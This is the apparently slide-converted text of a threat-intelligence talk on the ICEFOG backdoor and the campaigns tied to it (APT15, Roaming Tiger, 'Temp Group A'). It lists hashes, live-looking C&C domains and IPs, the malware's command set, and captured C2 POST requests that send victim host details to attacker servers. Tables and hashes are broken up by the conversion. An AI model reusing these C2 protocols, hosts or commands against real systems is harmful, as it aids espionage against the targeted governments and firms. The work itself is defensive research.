



C&C server with scripts named “view.asp”, “update.asp”, “upfile.asp” TCP connection to port 5600  
Communicate with C&C server with “.aspx” scripts Communicate with C&C server with “.aspx” scripts

10.

11.

12. [The CVE2017-11882 Exploit Template • Also, great research from Anomali.](#)

• <https://www.anomali.com/blog/analyzing-digital-quartermasters-in-asia-do-chinese-and-indian-aps-have-a-shared-supply-chain> Shellcode decode routine Open Document Encoded (0xFC) Dropper (8.t) Drops into %temp% Shellcode decode & execute Malware Can be hunted by the RTF Object Dropper

13. [The Shared Exploit Builder • CVE 2017-11882 exploit template. •](#)

Actually, shared among at least 3 different groups. (APT40, Conimes team aka Goblin Panda, ICEFOG Operators) Threat Group Hash Malware Create Date Author Targeted Region APT40 d5a7dd7441dc2b05464a21dd0 c0871ff BEACON 2017-12-07 08:17:00 Windows User USA Temp.CONIMES f223e4175649fa2e34271db8c9 68db12 TEMPFUN 2018-01-15 14:47:00 Windows User LAO Temp.CONIMES 07544892999b91ae2c9280d8e e3c663a TEMPFUN 2018-01-17 09:04:00 Windows User VNM Temp.CONIMES 45a94b3b13101c932a72d89ff 5eb715a TEMPFUN 2018-01-31 11:24:00 Windows User VNM ICEFOG Operator 46d91a91ecdf9c0abc7355c4e7 cf08fc ICEFOG 2018-02-22 20:07:00 T TUR ICEFOG Operator 80883df4e89d5632fa72a8505 7773538 ICEFOG 2018-02-22 20:07:00 T KZ, RU

14.

15. [ICEFOG-P \(New\) Command Description cmd Execute the command received from](#)

C&C download\_ Download file from specified URL filelist\_ Obtaining the list of files within specified folder. upload\_ File loading from the server to computer. delete\_ Delete specified file rename\_ Move file to specified location newdir\_ Create specified directory beforecontinuefile\_ Reset connection to the server continuefile\_ Resume the file download from the server. exit\_ Terminate Process. transover\_ Termination of current thread. screen\_ Send screenshot to C&C server. key\_ Send keylogger’s log file to C&C disklist\_ Setting monitored folders disklog\_ Upload monitored folder’s data code\_ (removed) run code from file to memory New supported commands Gentle reminder for entering the main function 20130505 Check if system date < 20130505 Anti- sandbox?

16. [ICEFOG-P \(New\) POST /upload.aspx?filepath=info&filename=<hostname> <MAC address>.jpg HTTP/1.1 User-Agent: Internet Explorer Host:](#)

foo.com Content-Length: 862 Cache-Control: no-cache HOST NAME:WINDOWS7 USER NAME:user OS Version: Microsoft Windows 7 x86 Service Pack 1 (Build 7601) CPU: GenuineIntel Intel64 Family 6 Model 142 Stepping 9 0MHZ Physical memory: Total physical memory:1023MB,Available memory:388MB Windows Directory: C:\\Windows System Directory: C:\\Windows\\system32 Hard Disk: C:\\ (NTFS) CD-ROM Disk: D:\\ Disk space: Total disk space:39G,The remaining disk space:15G POST

/news/upload.aspx?filepath=ok&filename=<host IP>\_<host IP>.jpg HTTP/1.1 Host: icefog.8.100911.com Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, \*/\* Accept-Language: en-us Content-Type: multipart/form-data Accept-Encoding: gzip, deflate Connection: Keep-Alive Cache-Control: no-cache User-Agent: MyAgent Content-Length: 0 Traffic of ICEFOG-P Traffic of ICEFOG Type 1 Adds physical machine information likely for filtering out sandbox or analysis environment

17.

18.

19. **[ICEFOG-M \(The latest\) • Supports same functions as ICEFOG-P •](#)**

Communication changed to HTTPS via port 443. • Payload became file-less (stored in registry), applied a customized loader launched by benign loader (DLL hijacking). • Loads an external sqlite3.dll library. Encrypted ICEFOG payload stored in registry

20. **[PDB in ICEFOG PDB Associated ICEFOG Variant](#)**

**[E:\zc\HTTPS\HTTPS\86AuthenticateProxy\ExeLoader\Release\RasTls.pdb ICEFOG-P C:\Users\apper\Desktop\86AuthenticateProxy \(copy\) \ExeLoader\Release\RasTls.pdb](#)**

ICEFOG-P C:\0426\86AuthenticateProxy\ExeLoader\Release\RasTls.pdb ICEFOG-P C:\Documents and Settings\Administrator\Desktop\86AuthenticateProxy (copy) \ExeLoader\Release\RasTls.pdb ICEFOG-P D:\vvvvv\downloadccc0301\chen\_http0301\source\Server\64\ExeLoader\x64\Release\linkinfo.pdb ICEFOG-P F:\worktmp\2014.11.05\ff\Server\86AuthenticateProxy\ExeLoader\Release\linkinfo.pdb ICEFOG-P • e:\jd4\myServer(RegRun)\release\jd4(reg).pdb • e:\jd4\myServer(RegRun)\release\jd4(reg).pdb • d:\jd\jd(RegRun)\release\jd3(reg).pdb • x:\jd(RegRun)\release\jd3(reg).pdb • d:\jd\jd(RegRun)\release\jd3(reg).pdb • e:\6.26\myServer\release\myServer.pdb • d:\jd\jd(RegRun)\release\jd3(reg).pdb • C:\Users\yang.zc\Desktop\代码片调用程序 4\Release\UCCodePieceGo.pdb • D:\Undercurrent\服务端\代码片服务端\过UAC版本\专用代码片调用程序 \Release\UCCodePieceGo.pdb ICEFOG Type 1 ICEFOG Type 2 < 2013 ICEFOG Samples > 2013 More developers?

21. **[MacOS X ICEFOG \(aka MacFog\) • Among all the samples](#)**

we collected, some are the MacOS X MachO executable files. • The MacOS X ICEFOG was first distributed in Chinese forums, forged as image process software. • Newly uploaded old samples, having the same default C&C setting. • Only one new sample with a private IP setting (testing?).

22.

23.

24. **[How to determine the timeframe of the sample? • When](#)**

we found the sample after the campaign finished. • Consider: • PDNS time • Domain create date • Compile timestamp (dropper? Payload? Wrapper?) • Exploit document last saved time (template?) • Decoy document timestamp • Date sample was first seen in the wild • PDB Sample Sample First Seen in the wild

Exploit Doc Last saved date Dropped Malware Compile Date C&C Domain Passive DNS First Seen  
Decoy File Last Modified date c3ed6b34707e 92f7aa35859a 9647f044 2017-08-03 10:48:09 2014/04/11  
0:00:00 2016-09-27 02:23:30 2017-08-03 2018-02-26 2017-08-02 19:17:00

25.

26.

27.

28.

29.

30. [2014 Samples Targets KZ and RU 2015 Attack Target an](#)

Agriculture Company in Europe 2016 2017 2019 Campaign Timeline Sample target potentially Russia  
TOPNEWS Campaign APPER Campaign Sample target Tajikistan Sample targets KZ 2018  
WATERFIGHT Campaign WATERFIGHT Campaign

31. [Attack targeted Agriculture Company in Europe \(2015\) • 64 bit](#)

ICEFOG-P found in the compromised environment. • Persistent attack started from 2011. • Actor mainly  
used SOGU and FUNRUN backdoor to gain initial access. • Also, found VICEROY backdoor, which has  
been used by APT9. • We also found malware connects to APT10 infrastructure. • The ICEFOG backdoor  
found at the scene was a customized version.

32.

33. [• Campaign targets Mongolia and Russia, suspected media, finance and](#)

government. • Sample delivered by spear-phishing email. • The ICEFOG samples are all ICEFOG-P  
variant. • Some samples includes suspected campaign code information. Hash Compile Timestamp Drop  
by C&C PDB Campaign Code eb2d297d099f3d39874 efa3f89735a01 2015/03/12 10:18:13  
f8cc15db9c85da19555a7232 b543c726 dnservers.itemdb.com russion.dnsedc.com C:\Documents and  
Settings\Administrator\Desktop\8 6AuthenticateProxy (copy) \ExeLoader\Release\RasTls.pdb 02-03  
c7d2c170482d17e2e76 e6937bd8ab9a5 2015/05/14 5:11:42 B3EFDA0E130373DAF6CB17 801714B66F  
(rarsfx) bulgaa.sportsnews.net C:\0426\86AuthenticateProxy\Exe Loader\Release\RasTls.pdb 120  
7dc1f0e60f11c456aa15 cc3546716c17 2015/05/14 6:11:42 e84b74f07ae803852f2ed194 58a1539d  
(tsalin.docx.exe) 74583d7355113ad3e58e355 b003083e5 (winword.scr) zaluu.dellnewsup.net  
C:\0426\86AuthenticateProxy\Exe Loader\Release\RasTls.pdb 100 09d8f865bccfb239afab 4f4f564081ff  
2016/09/27 3:23:30 47713144ae08560ba939ea01 620a0a2d (toot.docx .exe) zaluu.dellnewsup.net  
E:\zc\HTTPS\HTTPS\86Authentic ateProxy\ExeLoader\Release\Ras Tls.pdb b 2015 TOPNEWS  
Campaign

34.

35. [2015 TOPNEWS Campaign Hash Malware Family Compile timestamp C&C Target](#)

664318c95c4a48debd3562e a602796b9 TEMPFUN 2014-07-23 12:44:56 win.dellnewsup.net  
a489f2b4505b8f291804e393 1cf16ed8 TEMPFUN 2014-07-23 12:44:56 win.dellnewsup.net MN  
2e74505cc08c0d0d88146d4 6915f37af SOGU 2015-02-06 02:56:28 mn.dellnewsup.net  
news.dellnewsup.net MN a0389879ea435e647d29f69 66b1d601f FUNRUN 2015-02-07 09:34:05  
date.dellnewsup.net 1a93c0257f52e2b1e8e4f52c 033a61b3 SOGU 2011-03-02 07:40:24 dwm.dnsedc.com  
RU • The domain “dellnewsup.net” has 13 sub-domains. • Pivoting these sub-domains, we found other  
malwares connected to the infrastructure. • Campaign also leveraged SOGU, TEMPFUN and FUNRUN to  
attack Mongolian targets from 2014 to 2015.

36. [2015 TOPNEWS Campaign • Domains registrant email linked to the](#)

Roaming Tiger group and rotten tomato campaign. dellnewsup.net sportsnewsa.net dnsedc.com  
dnsqaz.com systemupdate5.dtdns.net transactiona.com googlenewsup.net futuresgolda.com  
googltrend.com financenewsu.net micronewsup.net dellindustry.com newsupdatea.net..... More  
yuminga1@126.com http://2014.zeronights.org/assets/files/slides/roaming\_tiger\_zeronights\_2014.pdf  
Roaming Tiger Campaign

37.

38. [2016 APPER Campaign • Pivoting the C&C infrastructure, we found](#)

8 related ICEFOG-P samples suspected of being used in the same campaign. • Same PDB strings in the  
samples suggest a possible developer “apper”. Hash Compile Timestamp C&C Campaign code pdb  
aae3e322 dbe5bb18 94a412ca 08afdf03 2016/05/22 10:35:41 ddns.epac.to cyexy  
C:\Users\apper\Desktop\86AuthenticateProxy (copy) \ExeLoader\Release\RasTls.pdb e28c2d68  
a6f13e81d 32171288 8c89e52 2016/05/19 8:26:23 ddns.epac.to (45.125.13.1 99) cyexy  
C:\Users\apper\Desktop\86AuthenticateProxy (copy) \ExeLoader\Release\RasTls.pdb 0e25aa79  
1c911910 8af073bc9 e9d0fa2 2016/05/10 9:24:38 45.125.13.1 99 dxx C:\Users\apper\Desktop\86AuthenticateProxy (copy) \ExeLoader\Release\RasTls.pdb a4dc9763 d296c45a 846156f0 2479ecde  
2016/05/10 8:49:45 45.125.13.1 99 ghj C:\Users\apper\Desktop\86AuthenticateProxy (copy)  
\ExeLoader\Release\RasTls.pdb a9ecf6d26 74443cda c067b136 b04c7d0 2016/03/21 4:20:25 poff.wha.la  
soums C:\Users\apper\Desktop\86AuthenticateProxy (copy) \ExeLoader\Release\RasTls.pdb 404b1b78  
b4f34612e 61d4af3bf 5083f1 2016/03/21 4:20:25 poff.wha.la soums C:\Users\apper\Desktop\86AuthenticateProxy (copy) \ExeLoader\Release\RasTls.pdb a78212faa 38ef1078b 300a4929 97fc02  
2016/03/21 4:20:25 poff.wha.la soums \Users\apper\Desktop\86AuthenticateProxy (copy)  
\ExeLoader\Release\RasTls.pdb 118.193.228.32 zorsoft.ns1.name tajikstantravel.dynamic-dns.net  
cospation.net poff.wha.la mitian123.com mocus.cospation.net cospation.net

39. [2018 The WATERFIGHT CAMPAIGN Hash File name Exploit Default codepage](#)

Creation Date Last Modified Author Last modify by 9ca6d45643f89bf233f0 8b7d74910346 Address Book  
2018.doc CVE-2017-11882 Western European 2018/02/22 20:07:00 2018/02/22 20:08:00 T T  
d00a34baad19d40dcefb adb0942a2e4d WorkPlan.doc CVE-2017-11882 Western European 2018/02/22  
20:07:00 2018/02/22 20:08:00 T T 88d667cc01c4d8ee32e 9de116f3bfdeb AMU\_SLA\_Agreement\_Fin

al\_Dt\_20-Spr\_14.doc CVE-2017-11882 Simplified Chinese 2018/02/22 20:07:00 2018/03/14 17:34:00 T Administrator 46d91a91ecdf9c0abc73 55c4e7cf08fc katılımçılar listesi.doc CVE-2017-11882 Western European 2018/02/22 20:07:00 2018/02/22 20:08:00 T T 80883df4e89d5632fa72 a85057773538 Внутренняя опись документов AGAT.doc CVE-2017-11882 Western European 2018/02/22 20:07:00 2018/02/22 20:08:00 T T 7fa8c07634f937a1fcef9 180531dc2e4 счет.doc CVE-2017-11882 Simplified Chinese 2017/05/22 11:52:00 2017/05/22 11:52:00 Windows Windows e7c5307691772a058fa 7d9e8ea426a59 Задание.doc CVE-2017-11882 Simplified Chinese 2017/05/22 11:52:00 2017/05/22 11:52:00 Windows Windows 63f9eaf7a80231480687 b134b1915bd0 Российский фигурист выиграл зимние Олимпийские игры PyeongChang в Южной Корее.doc CVE-2017-11882 Simplified Chinese 2017/05/22 11:52:00 2017/05/22 11:52:00 Windows Windows • Campaign targeted suspected water source provider, banks and government. • Targeted countries include Turkey, India, Kazakhstan, Uzbekistan and Tajikistan.

40. [2018 The WATERFIGHT CAMPAIGN Leveraged the shared exploit template](#)

41. [2018 The WATERFIGHT CAMPAIGN • Exploit document ICEFOG-P samples. •](#)

C&C domain and file name shows interest in a water source company in Uzbekistan. • Compiled a lot samples in 2 days Hash Compile date Drop by C&C Campaign code 4178d9b22efe7044540043b5c770b6a a 2018/02/24 5:20:16 9ca6d45643f89bf233f08b7d74910346 tele.zyns.com umde 1c2d4c95c1b4e9d5193423719a7bb07 5 2018/02/23 8:13:20 d00a34baad19d40dcefbadb0942a2e4d uzwatersource.dynamic-dns.net osbc 71e5b89d5a804ddbe84fa4950bf97ac7 2018/02/26 11:58:57 88d667cc01c4d8ee32e9de116f3bfdeb trendiis.sixth.biz hgmpy 6fffdb88292eed0483b4030e58f401e 2018/02/23 8:13:20 46d91a91ecdf9c0abc7355c4e7cf08fc uzwatersource.dynamic-dns.net osbc 6850e553445c0c9eac3206331eb0429 b 2018/02/23 9:44:25 80883df4e89d5632fa72a85057773538 laugh.toh.info jkmsy d5c67718e35bd1083dd50335ba9e89d a 2018/02/23 8:44:25 7fa8c07634f937a1fcef9180531dc2e4 laugh.toh.info jkmsy 9344e542cc1916b9ddb587daa70f065 2 2018/02/23 9:35:38 e7c5307691772a058fa7d9e8ea426a59 aries.epac.to gskv c2893fefcadbc7fed4fe74ea56133901 2018/02/23 14:49:58 63f9eaf7a80231480687b134b1915bd0 kastygost.compress.to msxdg

42. [2018 PHKIGHT Campaign • On April 26, 2018, our appliance](#)

detected ICEFOG traffic from out of the Philippines. • We also found the traffic of ICEFOG from the scanned URL on a public scanning service. The timestamp indicates that this campaign was likely still ongoing in July and October 2018: POST /Home/upload.aspx?filepath=\* & filename=\* HTTP/1.1 User-Agent: Internet Explorer Host: yahzee.eyellowarm.com:443 Content-Length: 908 Connection: Keep-Alive Cache-Control: no-cache

43. [2018 PHKIGHT Campaign • Investigating the C&C domain “eyellowarm.com”, we](#)

found two other sub- domains: • news.eyellowarm.com • meal.eyellowarm.com • The domain “news.eyellowarm.com” is connected by an ENDCMD (aka (Hussarini, Sarhust) malware, which we have observed in APT15’s (aka Social Network Team) campaign. Hash filename Malware Compile Timestamp

C&C e5bdc78c686e15dfeed6696b cd5989c3 NvSmartMax.dll ENDCMD 2010-12-19 04:51:39  
news.eyellowarm.com Note that although the sample has the compile timestamp in 2010, it is observed in  
the wild in 2018 and the C&C remains active during our analysis in 2018.

44. [2018 PHKIGHT Campaign • Correlated \(through passive DNS\) infrastructure show](#)

strong interest in the Philippines. - www.benzerold.com - ph4.01transport.com - news.eyellowarm.com -  
durian.appleleveno.com - adove.benzerold.com - benzerold.com - mailback.benzerold.com -  
ph2.01transport.com - phldt.appleleveno.com - yahzee.eyellowarm.com - mecaf.benzerold.com -  
ipad.appleleveno.com - course.appleleveno.com - well.suverycool.com - pldt.benzerold.com -  
www.knightpal.com - banana.appleleveno.com - appleleveno.com - node-ph-mnl2.kysrsrcd.pw -  
isafp.numnote.com - ph1vip.blue-vpn.net - news.numnote.com - news.kaboolyn.com - topic.numnote.com  
- dns01.comesafe.com - is01.knightpal.com - eyellowarm.com - news.yahzee.eyellowarm.com -  
kaboolyn.com - dns1.kaboolyn.com - yahzee.yahzee.eyellowarm.com - ds03.numnote.com -  
meal.eyellowarm.com - message.benzerold.com - pop3.numnote.com - afp1.kaboolyn.com -  
trans.numnote.com - usiszero.benzerold.com - numnote.com - pldt.knightpal.com - ph1.numnote.com -  
ns1.01transport.com - pldtcon.knightpal.com - afp1.knightpal.com - appdata.appleleveno.com -  
ns2.01transport.com - ns01.knightpal.com - ph.01transport.com - support.numnote.com -  
ph1.01transport.com - knightpal.com - pnoc1.numnote.com - 01transport.com

45. [2018 PHKIGHT Campaign Hash Malware family filename Compile Timestamp C&C](#)

PDB string 4f11e00b015047642d8 ddc306fc90da0 ENDCMD NvSmartMax.dll 2010-12-19 04:51:39  
news.eyellowarm.com C:\Users\Sun\Desktop\new\_test\NvSmart\Release\NvSmart.pdb  
1554900f889c9498c43c 9f875ecee38 MIRAGE netsh.exe 2013-06-28 09:27:57 pldtcon.knightpal.com  
7b8c955a0f1d6d37833 277849a070e37 ENDCMD Outllib.dll 2016-07-06 02:50:18 well.suverycool.com  
92853e0506ea16c6f17a c32f5ef8f3b3 ENDCMD Outllib.dll 2015-08-27 07:52:36 ipad.appleleveno.com  
4f11e00b015047642d8 ddc306fc90da0 ENDCMD Outllib.dll 2015-08-27 07:52:36  
durian.appleleveno.com 86409708eb0c716858e a30ae15eb7d47 ENDCMD N/A 2010-12-19 04:53:10  
news.kaboolyn.com C:\Users\Sun\Desktop\new\_test\NvSmart\Release\NvSmart.pdb Malware Connected  
to the Correlated Domains • ENDCMD and MIRAGE malware were exclusively observed used by APT15  
(aka Social Network team). The targets, malware and TTP all align with the profile of APT15.

46. [2019 SKYLINE Campaign • Observed the ongoing campaign that likely](#)

targeted Turkey and Kazakhstan in 2019. • The timestamp suggests the campaign might have started from  
2018. • Leveraged CVE 2017-11882 shared exploit template with ICEFOG-M, no payload timestamp.  
Hash filename Exploit Code Page Create Date Last modify date Author Last modify by  
30528dc0c1e123dff51f 40301cc03204 Unknown CVE-2018- 0802 Western European 2018/04/23 1:01:00  
2018/04/23 1:01:00 T T 4642e8712c8ada8d56b d36416abb4808 doc.rtf CVE-2017- 11882 N/A N/A N/A  
N/A N/A c65b73dde66184bae6e ad97afd1b4c4b doc20190301018.doc CVE 2017- 11882 Western  
European 2018/04/23 1:01:00 2018/04/23 1:01:00 T T

47.

48.

49. [2019 SKYLINE Campaign • Two observed loaders Hash Compile Timestamp](#)

Drop by Observed Connected C&C 0b86cc8e56a400f1adeb1e 7b6ebe6abe 2018/12/10 14:31:47  
4642e8712c8ada8d56bd36416abb480 8 nicodonald.accesscam.org c6a73e29c770065b4911ef 46285d6557  
2018/04/27 3:49:31 30528dc0c1e123dff51f40301cc03204 c65b73dde66184bae6ead97afd1b4c4b  
skylineqaz.crabdance.com xn—ylineqaz-y25ja.crabdance.com youareexcellent.kozow.com xn--  
uareexcellent-or3qa.kozow.com

50. [ICEFOG-M \(The latest\) POST /upload.aspx?filepath=info&filename==<hostname> <MAC address> HTTP/1.1 User-Agent: Internet Explorer](#)

Host: foo.com Content-Length: 862 Cache-Control: no-cache HOST NAME:WINDOWS7 USER  
NAME:user OS Version: Microsoft Windows 7 x86 Service Pack 1 (Build 7601) CPU: GenuineIntel  
Intel64 Family 6 Model 142 Stepping 9 0MHZ Physical memory: Total physical  
memory:1023MB,Available memory:388MB Windows Directory: C:\\Windows System Directory:  
C:\\Windows\\system32 Hard Disk: C:\\ (NTFS) CD-ROM Disk: D:\\ Disk space: Total disk  
space:39G,The remaining disk space:15G Group : tttt1 Added Group ID in traffic 20130505 20130601  
Updated the compared Date

51. [Who Are The Actor Behind These Campaigns?](#)

52.

53. [Targeting Country: UZ, MN, MY, RU, BY, KZ, US, Tibet,](#)

UA Targeting Industry: Gov, Oil and Gas, Aerospace, Defense Malware: SOGU, GHOST, TEMPFUN,  
FIRSTBLOOD, PI. Roaming Tiger Targeting Country: PH, VN, TW, US, UK, IT, PL, UN, SG, NATO  
Targeting Industry: Gov, Political party Malware: ENFAL, ENDCMD, QUICKHEAL, SOGU, CYFREE,  
MIRAGE, NOISEMAKER, QUICKHEAL, SWALLOWFLY APT15 Targeting Country: HK, US, SG, MY,  
JP, IN, KR, TH, TW Targeting Industry: Aerospace, Agriculture, Construction, Energy, Healthcare, ,High  
Tech, Media, Transportation Malware: BIGJOLT,FUNRUN,GH0ST,HOMEUNIX,JIM  
A,PHOTO,POISON IVY,SKINNYGENE,SOGU,VICEROY,VIPSH  
ELL,WETHEAD,XDOOR,ZXSHELL APT9

54. [What About Other Campaigns?](#)

55.

56. [eagleoftajik.dynamic-dns.net ICEFOG-P \(0c410d22265 dece807193bf 8a47fd91f \) ICEFOG-P \(e28c2d68a6f1 3e81d3217128 88c89e52\)](#)

WATERFIGHT Campaign Target Tajikistan 45.125.13.199 APPER Campaign 118.193.228.32  
zorsoft.ns1.name tajikstantravel.dynamic-dns.net poff.wha.la SOGU (ee649cf2b4e4 0288cd1194c3

da03edef ) 27.255.80.226 nitec.ns1.name SOGU (d5e8b1f836a9 199a9a176aee 007efc65 ) 103.243.24.149 bluesky.zyns.com moonlight.compress.to 103.242.134.140 QUICKHEAL (5378d13965a 3499ea83d6d0 371b03794 ) niteast.strangled.net whitebirds.mefound.com game.sexidude.com SOGU (d5e8b1f836a9199a9a176a ee007efc65 ) ICEFOG-P (be7ee5ae37dbf03df52 c6bfda41c6194) QUICKHEAL (E34874c27161eb563cfbdc0 0ee1334a2) WHITEBIRD (fdcd9347c1f6f6a4daaf3f5 0bc410c6) 45.252.63.244 honoroftajik.dynamic-dns.net uzwatersource.dynamic-dns.net ICEFOG-P (6fffdb88292eed04 83b4030e58f401e) WATERFIGHT Campaign www.ddns.epac.to ICEFOG-P (a9ecf6d2674443cda c067b136b04c7d0)

57. [2016 – 2017 APPER Campaign 2018 WATERFIGHT Campaign 2019 SKYLINE](#)

Campaign 2017 SOGU & QUICKHEAL targets KZ C&C Infra Connected (118.193.228.32) Target TTP C&C Infra Connected (103.242.132.197) C&C Infra Connected (103.242.132.197) Target TTP C&C Infra Connected (154.223.167.20, 45.77.134.195) 2015 Targets Tajikistan C&C Infra Connected (103.242.132.197) 2014 Target KZ Target C&C Infra Connected C&C Infra Connected (103.242.132.197) Weak Medium Strong

58. [2016 – 2017 APPER Campaign 2018 WATERFIGHT Campaign 2019 SKYLINE](#)

Campaign 2015 TOPNEWS Campaign 2017 SOGU & QUICKHEAL targets KZ C&C Infra Connected (118.193.228.32) Target TTP C&C Infra Connected (103.242.132.197) C&C Infra Connected (103.242.132.197) Target TTP C&C Infra Connected (154.223.167.20, 45.77.134.195) 2015 Targets Tajikistan C&C Infra Connected (103.242.132.197) Roaming Tiger Campaign 2015 Target Agriculture in EU Same PDB string 2015 Target KZ 2018 PHKNIGHT Campaign APT15 Malware C&C Overlap Target C&C Infra Connected Registrant Email Target TTP APT9 Malware Sample Found in victim's environment 2014 Target KZ Target C&C Infra Connected C&C Infra Connected (103.242.132.197) Weak Medium Strong

59. [Temp Group A • Active since \(at least\): 2014 •](#)

Delivery method: Spear-phishing email • Exploitation method: Malicious macro, RARAFX, CVE 2017-11882, CVE 2012- 0158 • Target region: Russia, Kazakhstan, Tajikistan, Uzbekistan and Turkey • Malware: ICEFOG-P, ICEFOG-M, SOGU, QUICKHEAL • Connection to other group: Uses ICEFOG-P with the same PDB as Roaming Tiger. Targeting Country: Rum KZ, Tajikistan, UZ, TR Targeting Industry: Gov, Natural resource Malware: ICEFOG-P, ICEFOG-M, SOGU, QUICKHEAL ???????

60. [Conclusion • ICEFOG is malware shared among Roaming Tiger, APT15,](#)

Temp Group A and suspected APT9. • Shared malware is a pitfall for attribution, we should not do attribution only based on malware. • Temp Group A is aggressively using ICEFOG-P and ICEFOG-M to target Russia, Kazakhstan, Tajikistan, Uzbekistan and Turkey. • With the file-less ICEFOG-M, host-based detection for payloads are more difficult. • Continued development indicates there could be more attacks leveraging ICEFOG in future campaigns, and possibly leveraged by more attackers.

61. [Chi-en \(Ashley\) Shen Senior Researcher @ashley\\_shen 920](#)

Source: <https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt>